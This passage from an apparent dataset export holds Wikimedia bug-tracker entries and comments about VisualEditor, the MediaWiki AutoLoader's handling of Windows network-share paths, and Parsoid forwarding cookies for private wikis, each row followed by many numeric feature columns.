+410477,VisualEditor: IME input into an empty slug causes characters to overwrite one another,I suspect this is no longer broken. Please re-test.,,,1423750103,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-wgf3mrrwn3ymravx5tvh,task_subcomment,,True,c1,3,True,,,84,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0
+207429,VisualEditor: IME input into an empty slug causes characters to overwrite one another,"Just as a note, we are refactoring the Surface code in ContentEditable to make this fixable, hence the delay.",,,1381271546,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wgf3mrrwn3ymravx5tvh,task_subcomment,,True,c1,3,True,,,14,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+207422,VisualEditor: IME input into an empty slug causes characters to overwrite one another,*** Bug 53064 has been marked as a duplicate of this bug. ***,,,1377348845,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-wgf3mrrwn3ymravx5tvh,task_subcomment,,True,c1,3,False,,,7,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+207413,VisualEditor: IME input into an empty slug causes characters to overwrite one another,"Inez, is there an update on this bug?",,,1367547839,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wgf3mrrwn3ymravx5tvh,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0
+207406,VisualEditor: IME input into an empty slug causes characters to overwrite one another,"Only works if the line has no text.
+Confirmed on bullet-type lines too.",,,1364125968,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-wgf3mrrwn3ymravx5tvh,task_subcomment,,True,c1,1,False,,,-15,,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+207399,VisualEditor: IME input into an empty slug causes characters to overwrite one another,I was able to confirm it (using Katakana) in Chrome on MacOS. Apparently it depends on the speed of typing (Selenium test for it is going to be interesting).,,,1361476901,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-wgf3mrrwn3ymravx5tvh,task_subcomment,,True,c1,1,False,,,-19,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+47216,VisualEditor: Increase test coverage of ve.FormatAction,"We currently have 0 tests for ve.FormatAction.*
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1361404500,1361566138.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-sgmrkdjbdkbtrt6o6mwh,task_description,resolved,True,c1,1,True,False,True,-19,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+206128,VisualEditor: Increase test coverage of ve.FormatAction,Merged.,,,1361566138,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sgmrkdjbdkbtrt6o6mwh,task_subcomment,,True,c1,1,True,,,-19,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+206121,VisualEditor: Increase test coverage of ve.FormatAction,https://gerrit.wikimedia.org/r/#/c/50137/,,,1361410249,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-sgmrkdjbdkbtrt6o6mwh,task_subcomment,,True,c1,1,True,,,-19,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+47175,VisualEditor: Fix dependency issues between ve.js and ve.init.platform,"In ve.js, function ve.msg:
+// TODO: Fix dependency issues between ve.js and ve.init.platform
+
+I don't know how this should be fixed exactly, Timo put this comment in in 407de829dd8f2e51c22a8378dc70c79fc6645d1e . I did notice that running the VE tests from Special:JavaScriptTest doesn't work because ve.msg() errors out with 've.init.platform' undefined.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1361311500,1365058343.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-zkyntw7nvnjqikzefrbn,task_description,resolved,True,c1,1,False,False,True,-19,,0,0,0,1,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1
+228873,VisualEditor: Fix dependency issues between ve.js and ve.init.platform,Change-Id: I47d7d92495974572194700c98a219d22ecbfaf4b,,,1364960892,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-zkyntw7nvnjqikzefrbn,task_subcomment,,True,c1,1,True,,,-13,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+228865,VisualEditor: Fix dependency issues between ve.js and ve.init.platform,"This is currently blocking us from enabling QUnit for extension VisualEditor as the race-condition is happening consistently in Chrome, Safari and PhantomJS.
+
+I tracked it down to the calls to ve.msg from the global scope, such as:
+
+
+@@ ve.ce.Surface.static.$phantomTemplate = $ (.. ) .attr( {
+		'title': ve.msg( 'visualeditor-aliennode-tooltip' ),",,,1364959167,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-zkyntw7nvnjqikzefrbn,task_subcomment,,True,c1,1,True,,,-13,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,0,0,1
+228859,VisualEditor: Fix dependency issues between ve.js and ve.init.platform,"(In reply to comment #0)
+> In ve.js, function ve.msg:
+> // TODO: Fix dependency issues between ve.js and ve.init.platform
+> 
+> I don't know how this should be fixed exactly, Timo put this comment in in
+> 407de829dd8f2e51c22a8378dc70c79fc6645d1e . I did notice that running the VE
+> tests from Special:JavaScriptTest doesn't work because ve.msg() errors out
+> with
+> 've.init.platform' undefined.
+
+Indeed, that's the reason why. They sometimes fail, and sometimes work.
+
+It appears to be a race-condition and/or absent dependency that should be fixed or lazy-loaded or something else to make sure one has the other.",,,1361312943,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-zkyntw7nvnjqikzefrbn,task_subcomment,,True,c1,1,True,,,-19,,0,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+46953,AutoLoader adds $IP to network share path,"**Author:** `kevinrose`
+
+**Description:**
+I am running under IIS with the files stored on network storage.
+I get an error from line 1142 in includes\AutoLoader.php when the $filename being passed is already a network share. Specifically in my case it then adds $IP a second time.
+
+Here are the variables from my situation:
+
+From debugging we know that:
+$IP is set to ""\\server\share\mediawiki""
+
+The offending class being loaded in LocalSettings.php:
+
+require_once(""$IP/extensions/WikiEditor/WikiEditor.php"" );
+
+After line 1142 $filename = ""\\server\share\mediawiki\\server\share\mediawiki\extensions\WikiEditor\WikiEditor.php""
+
+Line 1140 checks if the first character is a / (root), or the second character is a : (windows local drive).
+
+To work around the problem I added a third check, that the second character is a slash (windows network share):
+
+		if ( substr( $filename, 0, 1 ) != '/' && substr( $filename, 1, 1 ) != ':' && substr( $filename, 1, 1 ) != '\\') {
+
+--------------------------
+**Version**: 1.20.x
+**Severity**: normal",Medium,50.0,1360770540,1586895753.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-5dqihbanu3caaj7pigif,False,PHID-TASK-m4d5tcwgzxjphwooyz2c,task_description,declined,True,c1,1,False,False,False,-20,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+1484743,AutoLoader adds $IP to network share path,"Since nobody cared too much for the last seven years, we assume nobody cares too terribly much. And even if we fixed it, we couldn't test it.",,,1586895753,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-m4d5tcwgzxjphwooyz2c,task_subcomment,,True,c1,3,True,,,354,,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,1,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+1483322,AutoLoader adds $IP to network share path,"Tagging CPT as potentially interested party in Autoloader and third-party usees of it. I'm not sure if the above is still applicable, or whether running MediaWiki on Windows from a network share is supported or not. If not, we should probaby document that. If we do, then the above bug seems easily fixable as described in the last comment.",,,1586730716,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-m4d5tcwgzxjphwooyz2c,task_subcomment,,True,c1,3,True,,,353,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+215675,AutoLoader adds $IP to network share path,"**kevinrose** wrote:
+
+I forgot about this bug - upgraded my mediawiki to latest snapshot of 1.22 and the issue came back.
+
+The issue isn't related to a particular extension, but to the use of the AutoLoader.  Above the samples were with WikiEditor. This time I came across it with VisualEditor which uses AutoLoader.
+
+
+In 1.22 latest snapshot 7/16/2013 line 1148-1152 of file includes\AutoLoader.php:
+
+		# Make an absolute path, this improves performance by avoiding some stat calls
+		if ( substr( $filename, 0, 1 ) != '/' && substr( $filename, 1, 1 ) != ':' ) {
+			global $IP;
+			$filename = ""$IP/$filename"";
+		}
+
+
+
+This handles the case where $filename is a linux full path (starting at /) or a windows full path (with the drive letter i.e. c:) but does not handle the case of a network share on windows (\\server\path)
+
+Again fix in first message does address this:
+
+if ( substr( $filename, 0, 1 ) != '/' && substr( $filename, 1, 1 ) !=
+':' && substr( $filename, 0, 2 ) != '\\\\')
+
+Adjusted to look specifically for two forward slashes in case there's some other case where one forward slash is ok?",,,1373980934,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-m4d5tcwgzxjphwooyz2c,task_subcomment,,True,c1,3,False,,,2,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1,1,0,0,1,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,0,0,0,1,0,0,1,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1
+215667,AutoLoader adds $IP to network share path,"**michael** wrote:
+
+I experienced the same issue after upgrading to the latest version of GearHost.com's cloudsites platform, which too changed from local drive storage to a network share. Like the original poster, I found the same behavior. Additionally, though, I found that commenting the require_once(""$IP/extensions/WikiEditor/WikiEditor.php"" ); line would temporarily resolve the issue and allow MediaWiki to load, which suggests some dependency between require_once and the autoloader. I applied a similar change to the autoloader file which allowed to uncomment the require_once line successfully. I am running MediaWiki 1.19.1.",,,1373591943,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-m4d5tcwgzxjphwooyz2c,task_subcomment,,True,c1,3,False,,,1,,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0
+215659,AutoLoader adds $IP to network share path,Please confirm that this is a MediaWiki related problem. Otherwise this issue should be closed.,,,1362546459,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-m4d5tcwgzxjphwooyz2c,task_subcomment,,True,c1,1,True,,,-17,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0
+215651,AutoLoader adds $IP to network share path,"I think you're confusing ""require"" with ""autoloading"".
+
+The require_once() call you mention:
+> require_once(""$IP/extensions/WikiEditor/WikiEditor.php"" );
+
+that isn't a class but an extension file. This is your own code and placed in your LocalSettings.php, correct?
+
+AutoLoader isn't involved there.
+
+
+> After line 1142 $filename =
+> ""\\server\share\mediawiki\\server\share\mediawiki\extensions\WikiEditor\WikiEditor.php""
+
+Line 1142/1145 of which file? Assuming AutoLoader.php, why is WikiEditor listed in your autoloader configuration?",,,1360798922,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-m4d5tcwgzxjphwooyz2c,task_subcomment,,True,c1,1,True,,,-20,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,1,1,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+215644,AutoLoader adds $IP to network share path,"**kevinrose** wrote:
+
+Sorry to avoid confusion - the actual error is at line 1145 when the incorrect $filename tries to get required.",,,1360770629,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-m4d5tcwgzxjphwooyz2c,task_subcomment,,True,c1,1,False,,,-20,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+46483,Parsoid should support passing on an authenticated user's read right (when MW API supports that),"[Very much a longer-term enhancement.]
+
+Parsoid doesn't currently have support for passing on an authenticated user's read right when fetching the wikitext (because the API doesn't support that yet).
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1359492240,1382479475.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-yycd32q4sp6a3jbmgdq4,task_description,resolved,True,c1,1,True,False,False,-22,,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,1
+212987,Parsoid should support passing on an authenticated user's read right (when MW API supports that),"Change 91111 merged by jenkins-bot:
+Support private wikis by forwarding Cookie: headers to Parsoid
+
+https://gerrit.wikimedia.org/r/91111",,,1383678031,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-yycd32q4sp6a3jbmgdq4,task_subcomment,,True,c1,3,False,,,18,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+212983,Parsoid should support passing on an authenticated user's read right (when MW API supports that),Closing again.,,,1382479475,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-yycd32q4sp6a3jbmgdq4,task_subcomment,,True,c1,3,True,,,16,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+212980,Parsoid should support passing on an authenticated user's read right (when MW API supports that),"Change 91111 had a related patch set uploaded by Jforrester:
+Support private wikis by forwarding Cookie: headers to Parsoid
+
+https://gerrit.wikimedia.org/r/91111",,,1382404256,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-yycd32q4sp6a3jbmgdq4,task_subcomment,,True,c1,3,False,,,16,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+212975,Parsoid should support passing on an authenticated user's read right (when MW API supports that),"Cookies are now forwarded, and caching is disabled if a cookie is set. Closing this bug as fixed. A content API will have to do its own auth.",,,1381966182,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-yycd32q4sp6a3jbmgdq4,task_subcomment,,True,c1,3,True,,,15,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+212968,Parsoid should support passing on an authenticated user's read right (when MW API supports that),"Change 85414 merged by jenkins-bot:
+Bug 44483: Forward Cookie header to API
+
+https://gerrit.wikimedia.org/r/85414",,,1381965890,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-yycd32q4sp6a3jbmgdq4,task_subcomment,,True,c1,3,False,,,15,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+212961,Parsoid should support passing on an authenticated user's read right (when MW API supports that),"(In reply to comment #4)
+> Random idea:
+> 
+> Could Parsoid be made private (already is, though last I checked it still
+> has a
+> public IP) and use an internal API instead of the public API. Then the
+> responsibility for user rights lays in MediaWiki land, and when the request
+> is
+> in Parsoid we can assume it is authenticated and thus Parsoid can have
+> unrestricted access.
+
+That is what we'll have to do in the longer term once we store HTML. Parsoid might not even be involved in that case, only the content API / storage is. See https://www.mediawiki.org/wiki/User:GWicke/Notes/Storage for the current WIP on that.",,,1381260438,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-yycd32q4sp6a3jbmgdq4,task_subcomment,,True,c1,3,True,,,14,,0,0,0,1,1,1,0,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,1,0,1
+212956,Parsoid should support passing on an authenticated user's read right (when MW API supports that),"Random idea:
+
+Could Parsoid be made private (already is, though last I checked it still has a public IP) and use an internal API instead of the public API. Then the responsibility for user rights lays in MediaWiki land, and when the request is in Parsoid we can assume it is authenticated and thus Parsoid can have unrestricted access.",,,1380024239,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-yycd32q4sp6a3jbmgdq4,task_subcomment,,True,c1,3,True,,,12,,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+212949,Parsoid should support passing on an authenticated user's read right (when MW API supports that),"Change 85414 had a related patch set uploaded by GWicke:
+WIP Bug 44483: Forward Cookie header to API
+
+https://gerrit.wikimedia.org/r/85414",,,1379754726,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-yycd32q4sp6a3jbmgdq4,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+212943,Parsoid should support passing on an authenticated user's read right (when MW API supports that),*** Bug 44313 has been marked as a duplicate of this bug. ***,,,1360207511,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-yycd32q4sp6a3jbmgdq4,task_subcomment,,True,c1,1,True,,,-21,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+212937,Parsoid should support passing on an authenticated user's read right (when MW API supports that),Passing on the cookie header from the VisualEditor extension to Parsoid and then from Parsoid back to the API might be enough to enable this. Definitely worth a try.,,,1359588905,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-yycd32q4sp6a3jbmgdq4,task_subcomment,,True,c1,1,True,,,-22,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+46340,VisualEditor: Parsoid (?) issues in deleting text on [[W:User:Edinwiki]],"Deleting multiple lines of selected text
+
+When trying to delete a line of added text, the editor failed. See screenshot.
+
+When reviewing the changes I get an empty ""Latest revision"" and empty ""Your text"". Tried with Chrome and Firefox. When saving, the changes are not committed either.
+
+When trying to delete two lines (see screenshot on the right side), only one line is marked for deletion:
+
+    - Mostly active on [[:bs:Korisnik:Edinwiki|bs-wiki]].
+
+When selecting multiple lines in the same way, it seems that each time only the first line is selected.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**URL**: https://en.wikipedia.org/wiki/User:Edinwiki
+
+**Attached**: {F10938}",Medium,50.0,1359113220,1366396774.0,PHID-USER-qaslvze35cdv2crgkxjb,False,,False,PHID-TASK-zjrdtyysctdr2ogcnult,task_description,resolved,True,c1,1,False,False,True,-23,,1,0,0,1,1,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,1,1
+228472,VisualEditor: Parsoid (?) issues in deleting text on [[W:User:Edinwiki]],This is now fixed given the Parsoid update. Sorry for the delay!,,,1366396774,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zjrdtyysctdr2ogcnult,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+228466,VisualEditor: Parsoid (?) issues in deleting text on [[W:User:Edinwiki]],This appears to be a Parsoid issue - to recheck when Parsoid service is updated in live.,,,1360207666,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zjrdtyysctdr2ogcnult,task_subcomment,,True,c1,1,True,,,-21,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+46086,VisualEditor: Link inspector doesn't function properly when opened in location surrounded by word boundaries,"1. Type 2 spaces
+2. Move the cursor between the two spaces
+3. Press link button or (command|control)+k
+4. Type text for target (if in mw integration you can also choose a suggested target)
+5. Press enter (or click outside the inspector, or press esc)
+6. See that the target text was inserted, but not annotated
+
+--------------------------
+**Version**: unspecified
